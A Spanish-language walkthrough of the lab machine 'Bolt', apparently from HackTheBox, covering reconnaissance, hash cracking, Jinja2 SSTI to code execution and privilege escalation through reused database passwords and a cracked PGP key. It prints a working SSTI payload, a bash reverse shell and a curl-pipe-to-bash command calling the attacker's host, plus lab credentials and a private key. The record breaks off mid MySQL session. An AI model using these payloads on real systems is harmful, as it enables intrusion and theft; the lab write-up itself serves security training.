Entrada

Bolt

Bolt

Skills

  • Information Leakage
  • Subdomain Enumeration
  • SSTI (Server Side Template Injection)
  • Abusing PassBolt
  • Abusing GPG

Certificaciones

  • eJPT
  • eWPT
  • eWPTXv2
  • OSWE

Descripción

Bolt es una máquina medium linux donde estaremos vulnerándola a través de un SSTI (Server Side Template Injection) encontrado en un subdominio. Mediante el SSTI obtenemos un RCE (Remote Code Execution) con el que accedemos a la máquina víctima. Una vez dentro de la máquina víctima enumeramos con linpeas.sh obtenemos varias contraseñas de las bases de datos, una de ellas nos permite convertirnos en un usuario del sistema. Siendo este usuario del sistema, encontramos un mensaje en la base de datos, el cual está cifrado con GPG, encontramos la clave privada en los elementos almacenados de Google Chrome, rompemos la clave privada, obteniendo así la contraseña y posteriormente desciframos el mensaje encontrado, el cual nos muestra la contraseña del usuario root


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux suele ser 64, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

1
2
3
4
5
6
7
8
9
10
11
# ping 10.129.254.109
PING 10.129.254.109 (10.129.254.109) 56(84) bytes of data.
64 bytes from 10.129.254.109: icmp_seq=1 ttl=63 time=58.9 ms
64 bytes from 10.129.254.109: icmp_seq=2 ttl=63 time=63.7 ms
64 bytes from 10.129.254.109: icmp_seq=3 ttl=63 time=70.6 ms
64 bytes from 10.129.254.109: icmp_seq=4 ttl=63 time=66.5 ms
64 bytes from 10.129.254.109: icmp_seq=5 ttl=63 time=60.8 ms
^C
--- 10.129.254.109 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4006ms
rtt min/avg/max/mdev = 58.934/64.112/70.601/4.144 ms

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.254.109 -oG openPorts
[sudo] password for justice-reaper: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 12:32 CEST
Initiating SYN Stealth Scan at 12:32
Scanning 10.129.254.109 [65535 ports]
Discovered open port 22/tcp on 10.129.254.109
Discovered open port 443/tcp on 10.129.254.109
Discovered open port 80/tcp on 10.129.254.109
Completed SYN Stealth Scan at 12:33, 21.34s elapsed (65535 total ports)
Nmap scan report for 10.129.254.109
Host is up (0.14s latency).
Not shown: 58385 closed tcp ports (reset), 7147 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 21.41 seconds
           Raw packets sent: 105393 (4.637MB) | Rcvd: 104605 (4.184MB)

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# nmap -sCV -p22,80,443 10.129.254.109 -Pn -oN services 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 12:34 CEST
Nmap scan report for 10.129.254.109
Host is up (0.061s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
|   256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_  256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title:     Starter Website -  About 
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after:  2022-02-24T19:11:23
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.80 seconds

Nmap ha detectado un common name analizando el certificado ssl, esto se puede hacer también de forma manual openssl s_client --connect 10.129.254.109:443, en el certificado ssl aparece el common name passbolt.bolt.htb que parece un subdominio. Por lo tanto al /etc/hosts vamos a añadir passbolt.bolt.htb y bolt.htb

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       Kali-Linux
10.129.254.109	bolt.htb passbolt.bolt.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Web Enumeration

Lo primero que vamos a hacer es buscar que es passbolt, y encontramos que es un proyecto de código abierto para la gestión de contraseñas https://github.com/passbolt

Cuando accedemos al servicio web por el puerto 80 visualizamos lo siguiente

Lo primero que vemos es que se está usando Admin LTE, por lo que buscamos en google y damos con lo siguiente https://www.bbvaapimarket.com/es/mundo-api/plantillas-para-paneles-de-administracion-desarrolladas-con-el-framework-bootstrap/

En el login de la web (http://10.129.254.109/login) visualizamos lo siguiente

Si nos fijamos en el title de la venta, pone lo siguiente, si está usando jinja puede ser vulnerable alguna parte de la web a SSTI (Server Side Template Injection)

Por ahora vamos a pulsar en Create account y vamos a crearnos una cuenta en http://10.129.254.109/register

Al intentar registrarnos nos lanza este error

He probado a mandar un mensaje en esta parte de la web y también da error, al interceptar el mensaje con burpsuite y cambiarle el método a get parece que funciona pero no nos devuelve ningún mensaje para validar que se ha mandado

Inspeccionando la web he visto esta parte que puede ser interesante, para montarnos un diccionario con los nombre de los empleados

Este botón nos devuelve a la página principal y no se envía nada tampoco

Al acceder al dominio passbolt.bolt.htb nos encontramos lo siguiente

Cuando pulsamos en Next obtenemos la siguiente respuesta

En http://10.129.254.109/download nos encontramos este proyecto, el cual vamos a descargar para inspeccionarlo posteriormente

Después de haber hecho un reconocimiento en general, vamos a buscar subdominios, ya que si existe el subdominio passbolt también pueden existir otros

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# wfuzz -c -t100 --hc 404 --hh 30341 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.bolt.htb' http://bolt.htb  
 /home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning:urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://bolt.htb/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                               
=====================================================================

000000038:   302        3 L      24 W       219 Ch      "demo"                                                                                                                
000000002:   200        98 L     322 W      4943 Ch     "mail"                                                                                                                
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Total time: 242.6730
Processed Requests: 44914
Filtered Requests: 44912
Requests/sec.: 185.0802       

Los añadimos el /etc/hosts

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       Kali-Linux
10.129.254.109  mail.bolt.htb demo.bolt.htb bolt.htb passbolt.bolt.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

En mail.bolt.htb nos visualizamos lo siguiente

En demo.bolt.htb visualizamos lo siguiente

Vamos a ver si nos podemos registar

No nos podemos registrar porque necesitamos un código de invitación

Como no podemos hacer nada aquí vamos a echarle un vistazo de nuevo a la demo de la aplicación que nos hemos descargado, puede ser que el demo que nos hemos descargado encontremos datos interesante. Efectivamente buscando nos encontramos un archivo de base de datos sqlite y encontramos los datos del usuario admin

1
2
3
4
5
6
7
# sqlite3 db.sqlite3
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite> .tables
User
sqlite> select * from User;
1|admin|admin@bolt.htb|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.||

Vamos a intentar encontrar la contraseña mediante fuerza bruta, lo primero es crearnos un archivo llamado hash e introducir el hash

1
$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.

Aplicamos fuerza bruta con john y obtenemos la contraseña del usuario administrador

1
2
3
4
5
6
7
8
9
10
11
# john -w:rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
deadbolt         (?)     
1g 0:00:00:00 DONE (2024-07-08 14:13) 3.225g/s 557419p/s 557419c/s 557419C/s faith33..curtis13
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Tenemos el correo electrónico admin@bolt.htb, el usuario admin y la contraseña deadbolt, por lo tanto podemos probar estas credenciales en los diferentes paneles de login. Probamos en el panel de login de http://bolt.htb/login

Y efectivamente entramos, he probado estas mismas credenciales en los diferentes paneles de login y solo han funcionado en este, también he probado por ssh y no ha funcionado

A pesar de haber accedido a este panel de administrator no podemos hacer nada. Por lo tanto vamos a ver si encontramos algo de interés en el código fuente que nos hemos descargado. He encontrado el invite_code para poder registrarnos en el domino demo.bolt.htb

1
2
3
4
5
6
7
8
9
10
11
# pwd
/home/justice-reaper/Desktop/Bolt/content/41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base

# grep -r -i "invite" . 2>/dev/null     
./templates/accounts/register.html:            {{ form.invite_code(placeholder="Invite Code", class="form-control") }}
./routes.py:        code	 = request.form['invite_code']
./forms.py:    invite_code = TextField('Invite Code', id='invite_code'    , validators=[DataRequired()])

# nano ./routes.py
if code != 'XNSS-HSJW-3NGU-8XTJ':
            return render_template('code-500.html')

Ahora al intentar registrarnos en demo.bolt.htb si que nos deja

A continuación nos redirige a la página de iniciar sesión

Una vez logueados, nos lleva a la página similar a la de antes pero esta es más compleja y las funcionalidades están activas

Web Exploitation

Si nos fijamos en la web en la parte inferior derecha vemos que se emplea Flask, debido a esto podemos probar a hacer un SSTI en los campos de nuestro perfil, sin embargo, nos pone que debemos verificar los cambios por correo electrónico

El servicio de correo del dominio demo.bolt.htb no está activo, sin embargo, podemos probar las credenciales que hemos usado para registrarnos en este dominio en mail.bolt.htb

Efectivamente ha funcionado, ahora vamos a pinchar en el enlace para confirmar los cambios

Nos ha llegado este correo electrónico con los cambios aplicados, por lo tanto podemos confirmar el SSTI

Gracias a este SSTI vamos a ejecutar comandos. Usamos este payload para comprobar que podemos ejecutar comandos. El payload lo podemos encontrar en https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2. Sabemos que es un jinja debido a que lo ponía en el Title del dominio http://bolt.htb/login

1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Al mirar el correo vemos que el comando ha sido ejecutado

Intrusión

Vamos a realizar los mismos pasos con el objetivo de mandarnos una reverse shell hacia nuestro equipo. Lo primero es ponernos en escucha con netcat por el puerto 1234

1
# nc -nlvp 1234

Nos creamos un archivo shell con este contenido

1
bash -i >& /dev/tcp/10.10.14.86/1234 0>&1

Nos ponemos en escucha por el puerto 80 en el mismo directorio que está el archivo shell

1
# python -m http.server 80

Nos ponemos en escucha con netcat por el puerto 1234

1
# nc -nlvp 1234

Inyectamos el payload

1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl http://10.10.14.86/shell|bash').read() }}

Al hacer click en el link del correo electrónico nos llegará la shell a nuestro equipo, ahora vamos a realizar un tratamiento a la TTY

1
2
3
4
5
6
nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.86] from (UNKNOWN) [10.129.254.229] 44784
bash: cannot set terminal process group (900): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bolt:~/demo$ 

Obtenemos las dimensiones de nuestra pantalla

1
2
# stty size
45 183

Efectuamos el tratamiento a la TTY

1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]

Ya tenemos un consola completamente interactiva

1
2
www-data@bolt:~/demo$ whoami
www-data

Privilege Escalation

Una vez dentro de la máquina víctima vamos a ejecutar linpeas.sh para enumerar el sistema > https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS. Lo primero es descargárnoslo en nuestro equipo

1
# wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

Lo siguiente es ponernos en escucha con python por el puerto 80 en el mismo directorio en el que se encuentra linpeas.sh

1
# python -m http.server 80

Desde la máquina víctima descargamos el archivo

1
www-data@bolt:/var/mail$ wget http://10.10.14.86/linpeas.sh

Linpeas.sh ha encontrado dos credenciales interesantes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
╔══════════╣ Analyzing Roundcube Files (limit 70)
drwx------ 13 www-data www-data 4096 Aug  4  2021 /var/www/roundcube
-rw-r--r-- 1 www-data www-data 3589 Mar  6  2021 /var/www/roundcube/config/config.inc.php
$config['db_dsnw'] = 'mysql://roundcubeuser:WXg5He2wHt4QYHuyGET@localhost/roundcube';
// $config['enable_installer'] = true;
$config['smtp_log'] = false;
$config['default_host'] = 'localhost';
$config['mail_domain'] = '%t';
$config['support_url'] = '';
$config['des_key'] = 'tdqy62YPNdGEeohXtJ2160bX';
$config['product_name'] = 'Bolt Webmail';
$config['plugins'] = array();
$config['drafts_mbox'] = '';
$config['junk_mbox'] = '';
$config['sent_mbox'] = '';
$config['trash_mbox'] = '';

drwxr-xr-x 3 www-data www-data 4096 Mar  2  2021 /var/www/roundcube/vendor/roundcube

╔══════════╣ Analyzing Passbolt Files (limit 70)
-rw-r----- 1 root www-data 3128 Feb 25  2021 /etc/passbolt/passbolt.php
 * Passbolt ~ Open source password manager for teams
            'host' => 'localhost',
            'port' => '3306',
            'username' => 'passbolt',
            'password' => 'rT2;jW7<eY8!dX8}pQ8%',
            'database' => 'passboltdb',
    'EmailTransport' => [
            'host' => 'localhost',
            'port' => 587,
            'username' => null,
            'password' => null,
            'from' => ['localhost@bolt.htb' => 'localhost'],
-rw-r--r-- 1 root root 3693 Jul 27  2021 /usr/share/php/passbolt/plugins/Passbolt/WebInstaller/templates/Config/passbolt.php
 * Passbolt ~ Open source password manager for teams
            'host' => '<?= $config['database']['host'] ?>',
            'port' => '<?= $config['database']['port'] ?>',
            'username' => '<?= $config['database']['username'] ?>',
            'password' => '<?= $config['database']['password'] ?>',
            'database' => '<?= $config['database']['database'] ?>',
    'EmailTransport' => [
            'host' => '<?= $config['email']['host'] ?>',
            'port' => <?= $config['email']['port'] ?>,
            'username' => <?= empty($config['email']['username']) ? 'null' : "'{$config['email']['username']}'" ?>,
            'password' => <?= empty($config['email']['password']) ? 'null' : "'{$config['email']['password']}'" ?>,

Vemos hay dos usuarios además de root, los cuales son clark y eddie

1
2
3
4
5
www-data@bolt:/var/mail$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
eddie:x:1000:1000:Eddie Johnson,,,:/home/eddie:/bin/bash
sshd:x:126:65534::/run/sshd:/usr/sbin/nologin
clark:x:1001:1001:Clark Griswold,,,:/home/clark:/bin/bash

He probado a reutilizar estas credenciales para los dos usuarios y eddie usa esta contraseña rT2;jW7<eY8!dX8}pQ8%

1
2
3
4
www-data@bolt:/var/mail$ su eddie
Password: 
eddie@bolt:/var/mail$ whoami
eddie

El archivo /var/mail/eddie es un mensaje que recibió eddie por parte de clark

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
eddie@bolt:~$ cat /var/mail/eddie 
From clark@bolt.htb  Thu Feb 25 14:20:19 2021
Return-Path: <clark@bolt.htb>
X-Original-To: eddie@bolt.htb
Delivered-To: eddie@bolt.htb
Received: by bolt.htb (Postfix, from userid 1001)
	id DFF264CD; Thu, 25 Feb 2021 14:20:19 -0700 (MST)
Subject: Important!
To: <eddie@bolt.htb>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20210225212019.DFF264CD@bolt.htb>
Date: Thu, 25 Feb 2021 14:20:19 -0700 (MST)
From: Clark Griswold <clark@bolt.htb>

Hey Eddie,

The password management server is up and running.  Go ahead and download the extension to your browser and get logged in.  Be sure to back up your private key because I CANNOT recover it.  Your private key is the only way to recover your account.
Once you're set up you can start importing your passwords.  Please be sure to keep good security in mind - there's a few things I read about in a security whitepaper that are a little concerning...

-Clark

Ejecutamos linpeas.sh de nuevo para que nos enumere nuevamente el sistema y veo esto que me llama la atención

1
2
3
4
5
══╣ Possible private SSH keys were found!
/etc/ImageMagick-6/mime.xml
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/index.min.js
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js
/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log

He buscado en los diferentes archivos y en el archivo 000003.log parece estar la clave privada pgp de eddie, con este comando lo podemos comprobar

1
eddie@bolt:~/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf$ strings 000003.log | grep -E "BEGIN PGP PRIVATE|END PGP PRIVATE"

Seleccionamos la clave privada pgp y se la pasamos a chatgpt para que nos la devuelva en el formato correcto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

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
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----

Ahora podemos intentar crackear la clave privada pero antes debemos pasarlo a un formato para que john puedo crackearla

1
2
3
4
# gpg2john pgp_private_key 

File pgp_private_key
Eddie Johnson:$gpg$*1*668*2048*2b518595f971db147efe739e2716523786988fb0ee243e5981659a314dfd0779dbba8e14e6649ba4e00cc515b9b4055a9783be133817763e161b9a8d2f2741aba80bceef6024465cba02af3bccd372297a90e078aa95579afbd60b6171cd82fd1b32a9dd016175c088e7bef9b883041eaffe933383434752686688f9d235f1d26c006a698dd6cc132d8acb94c4eceebf010845d69cd9e114873538712f2cd50c8b9ca3bcb9bbc3d83e32564f99031776ac986195e643880483ac80d3f7f1b9143563418ddea7bb71d114c4f24e41134dcdac4662e934d955aeccae92038dbed32f300ac5abed65960e26486c5da59f0d17b71ad9a8fe7a5e6bb77b8c31b68b56e7f4025f01d534be45ab36a7c0818febe23fa577ca346023feefa2bfef0899dd860e05a54d8b3e8bd430f40791a52a20067fde1861d977adf222725658a4661927d65b877cb8ac977601990cfbdb27413f5acc25ff1f691556bc8e5264cffaebbea7e7b9d73de6c719e0a7b004d331eaada86e812e3db60904eaf73a1b79c6e68e74beb6b71f6d644afbf591426418976d68c4e580cbc60b6fdd113f239ae2acd1e1dc51cb74b96b3c2f082bc0214886e1c3cebb3611311d9112d61194df22fb3ceb5783ee7d4a61b544886b389f638fc85d5139f64997014ec38ac59e65b842d92afb50184ccc3549a57dcdb3fc8720cc394912aed931007b53da1c635d302e840da2e6342803831891ab1ccc1669f3cc3240b8d31eded96696d7ad1525c4d277a4d3123abecafdbdde207714539c2e546cd45c4452051394e5d00e711fa5353f817be4fa6827aa0f1428dfb93a918e93975fb4baf3297aa3b7fec33470cf2741237a629b869a762684602057f3e3e6df9c97631caa7589dc4b26653162dfb2f2cf508cbe375496ba735830c2c00f151cdd50c522afe33dbe4265d2*3*254*8*9*16*b81f0847e01fb836c8cc7c8a2af31f19*16777216*34af9ef3956d5ad8:::Eddie Johnson <eddie@bolt.htb>::pgp_private_key

Este ouput lo almacenamos en un archivo llamado hash y le hacemos fuerza bruta con john para romperlo

1
2
3
4
5
6
7
8
9
10
11
12
# john -w:rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 16777216 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 8 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
merrychristmas   (Eddie Johnson)     
1g 0:00:00:55 DONE (2024-07-09 13:24) 0.01805g/s 773.4p/s 773.4c/s 773.4C/s mhines..megan5
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Anteriormente le he echado un vistazo a la base de datos y he visto un mensaje encriptado que es del que nos habla clark, vamos a conectarnos a mysql con el usuario passbolt y la clave rT2;jW7<eY8!dX8}pQ8% para obtener el mensaje y poder desencriptarlo con la clave privada de eddie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
eddie@bolt:/home$ mysql -u passbolt -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 48151
Server version: 8.0.26-0ubuntu0.20.04.2 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| passboltdb         |
+--------------------+
2 rows in set (0.01 sec)

mysql> use passboltdb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----------------------+
